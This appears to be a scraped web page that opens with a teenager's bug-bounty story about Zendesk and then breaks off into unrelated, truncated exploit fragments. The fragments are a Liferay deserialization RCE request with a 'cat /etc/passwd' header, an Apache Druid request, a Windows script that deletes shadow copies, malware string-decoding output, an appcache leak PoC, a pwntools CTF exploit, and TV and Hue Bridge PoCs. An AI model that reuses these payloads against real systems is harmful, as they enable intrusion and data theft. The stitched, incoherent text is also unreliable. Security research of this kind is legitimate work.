muuk lifa123

hi, i'm daniel. i'm a 15-year-old with some programming experience and i do a little bug hunting in my free time. here's the insane story of how I found a single bug that affected over half of all Fortune 500 companies:

say hello to zendesk

If you've spent some time online, you’ve probably come across Zendesk.

Zendesk is a customer service tool used by some of the world’s top companies. It’s easy to set up: you link it to your company’s support email (like [email protected]), and Zendesk starts managing incoming emails and creating tickets. You can handle these tickets yourself or have a support team do it for you. Zendesk is a billion-dollar company, trusted by big names like Cloudflare.

Personally, I’ve always found it surprising that these massive companies, worth billions, rely on third-party tools like Zendesk instead of building their own in-house ticketing systems.

your weakest link

This list is no longer updated, thus the information is no longer reliable.

You can see the latest version (from october 2022) here

POST /api/jsonws/invoke HTTP/1.1
Host: REDACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
cmd2: cat /etc/passwd
Content-Type: application/x-www-form-urlencoded
Content-Length: 4956
Connection: close

cmd=%7B%22%2Fexpandocolumn%2Fupdate-column%22%3A%7B%7D%7D&p_auth=%3Cvalid+token%3E&formDate=%3Cdate%3E&columnId=123&name=asdasd&type=1&defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F63

POST /druid/indexer/v1/sampler?for=example-manifest HTTP/1.1
Host: REDACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 1006
Connection: close

	echo > CVE-2021-36934 fixer
	echo See https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934

	echo Deleting current shadow copies...
	vssadmin delete shadows /all /quiet

	echo Fixing privilege issue...
	icacls %windir%\system32\config\. /inheritance:e

	echo Creating brand new shadow copy...

	encrypted string at 0x100051a6a decoded to :
	encrypted string at 0x100051b2c decoded to : IOPlatformExpertDevice
	encrypted string at 0x100051ff5 decoded to :
	encrypted string at 0x100051ffe decoded to : BadAllocException
	encrypted string at 0x100052057 decoded to : -
	encrypted string at 0x100052060 decoded to : OutOfRangeException
	encrypted string at 0x100051e12 decoded to : -
	encrypted string at 0x100051e1b decoded to : BadAllocException
	encrypted string at 0x100051e74 decoded to : -
	encrypted string at 0x100051e7d decoded to : OutOfRangeException

	<html manifest="manifest.php?patternA=<?php echo $_GET["patternA"]; ?>&patternB=<?php echo $_GET["patternB"]; ?>&prefix=<?php echo $_GET["prefix"]; ?>">
	<body>
	<script>
	let patternA = new URL(location).searchParams.get("patternA");
	let patternB = new URL(location).searchParams.get("patternB");
	let prefix = new URL(location).searchParams.get("prefix") \|\| '';

	applicationCache.addEventListener("cached", () => {
	fetch("https://bugs.chromium.org/p/chromium/issues/entryafterlogin", {
	mode: "no-cors",

	#!/usr/bin/env python3
	from pwn import *

	HOST, PORT = 'bin.q21.ctfsecurinets.com', 1338
	# HOST, PORT = 'localhost', 1338
	exe = ELF('./kill_shot')
	libc = ELF('./libc_kill_shot.so')

	def get_proc():
	if args.REMOTE:

	<html>
	<head>
	<title></title>
	</head>
	<body>
	<h1>Strong TV DoS exploit</h1>
	<h2>Proof of Concept</h2>
	<label for="internal_ip">Any internal IP:</label>
	<input type="text" name="internal_ip" id="internal_ip" autocomplete="off" onchange="get_tv_ip()">
	<br><br>

	<html>
	<head>
	<title>Hue Bridge CORS PoC</title>
	<script>
	var xhr = new XMLHttpRequest();

	xhr.open("GET", "https://discovery.meethue.com/")
	xhr.send();
	xhr.onreadystatechange = function(e) {
	var hue_ip;